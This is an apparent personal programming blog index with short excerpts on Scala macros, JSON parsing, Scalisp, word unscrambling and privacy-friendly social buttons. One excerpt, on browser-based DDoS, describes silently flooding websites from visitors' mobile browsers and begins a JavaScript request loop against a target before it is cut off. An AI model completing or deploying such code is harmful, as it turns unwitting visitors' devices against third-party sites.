> Category: misc ¦ Atom

A System of Measurements in Scala

The newest version of Scala, 2.10, will allow to user to execute code at compile time with Macros, which are just normal Scala functions. You can get an overview of the possibilities at the official [cached]Scala Macro guide. Right now, Scala 2.10 is still under development, so you will have to use a Release Candidate to follow along.

First of all, a good system of measurements should make it easy to define values with units in code - no complicated trickery should be required. That's easy to achieve with a small utility macro:

1
val a = u(42 …

Handdrawn Graphs with D3

From [cached]Dan Foreman-Mackey, with slight modifications.


Beautiful JSON parsing in Scala

You probably all know JSON - it's becoming the universal data exchange format, slowly but steadily replacing XML. In JavaScript, JSON is a proper first class citizen:

1
2
3
4
5
6
7
8
person = {
  "name": "Joe Doe",
  "age": 45,
  "kids": ["Frank", "Marta", "Joan"]
};

person.age;        // 45
person.kids[1];    // "Marta"

Sadly, it's not as easy in other languages. Scala does have a JSON parser in the standard library ([cached]scala.util.parsing.json.JSON), but it is terrible slow and the output is still not very nice.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12 …

Decrypting scrambled words

I'm sure you've all seen posts like

Olny srmat poelpe can raed tihs. I cdnuolt blveiee taht I cluod aulaclty uesdnatnrd waht I was rdanieg. The phaonmneal pweor of the hmuan mnid, ...

Now this is mildly amusing, but not all that interesting on itself. However, I began to wonder - is it possible to automatically unscramble texts like the above? Surprisingly, it (almost) is!

Of the 72945 unique words in my /usr/share/dict/words (not counting possesive forms, eg "storekeeper's"), only 630 have a non-unique scrambled form, if you ignore plural forms. What do I mean by this? Well, if …


Scalisp - now with tail-call optimization

The last few days, I worked a bit more on Scalisp. Most importantly, I added tail-call optimization. If you don't know what this is all about, think what a normal function call does: It grows the stack, one frame for each call. Normally, that's what you want, but not when you try to implement loops with recursive functions. (as you usually do in functional languages)

Take this simple example, summing all numbers from 1 to n (nevermind that there's a simple formula to do that):

1
2
3
4
(defun sum_to (n)
  (if (<= n 1)
    1
    (+ n (sum_to (- n 1 …

Scalisp - now with Compilation

It's been a while since my last update - I've been quite busy with course work. Part of that was a complete write of Scalisp - now it's truely List-based and it also includes a Compiler. Since it grew quite a bit, I split it up in several modules, which should be self-explaining:

1
2
3
4
5
6
7
8
+--------+   +--------------+    +----------+
| Parser +-->| Preprocessor +--->| Compiler |
+--------+   +------+-------+    +----------+
                   |
                   v
            +--------------+
            | Interpreter  |
            +--------------+

The Parser is very simple and quite short now, since it doesn't care about special forms anymore, it just makes sure that each expression has correct syntax:

 1
 2
 3
 4
 5
 6
 7
 8
 9 …

Scalisp - a Lisp interpreter in Scala

Inspired by [cached]Peter Norvig's lispy, I wrote a little Lisp interpreter in Scala. So far, it only provides a small subset of Lisp, but I plan to extend it eventually.

It makes heavy use of Scala's parser-combinators to build the AST (abstract syntax tree), execution is little more than calling "eval" on this tree.

Here's what the main parser looks like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
class LispParser extends JavaTokenParsers {
    def expression: Parser[Expression] = (
        "("~>expressionBody<~")" | number | string | variable )
    def expressionBody: Parser[Expression] = ( "quote"~>expression
        | "if"~expression~expression~expression …

dDoS - now on a phone near you

You may or may not now that your desktop browser can do arbitrary http requests using java script, all without any action from you. Of course, this can be abused to dDoS websites into oblivion, [cached]as shown by Anonymous. Funny thing is, this also works on mobile browsers - and you can't even tell that anything is happening if the site is at least a little clever.

Implementation is astonishingly simple:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function loop() {
    for(var i = 0; i < requestsPerLoop; i++) {
        try {
            var xhr = new XMLHttpRequest();
        xhr.open('GET', target …

Life-logging for your computer usage

Have you ever wondered where most of your time goes when using your computer? I always did, so I wrote a small script which logs the currently visible and focused apps:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69 …

Better privacy with 2-click social buttons

Today I noticed that the social network buttons on my blog had disappeared - I quickly realized that this was because I had recently reset my theme. Of course, I had to bring those buttons back, but better. By chance, I stumbled over the [cached]socialshareprivacy project (sorry, german only. [cached]project site with downloads) of german news site and publisher heise.

I was intrigued. Not only because this would mean better privacy, but also because of another welcome side effect: Faster page load times! After all, if we only load those buttons and their .js and .css files when we …

© Julian Schrittwieser. Built using Pelican. Theme by Giulio Fidente on github. .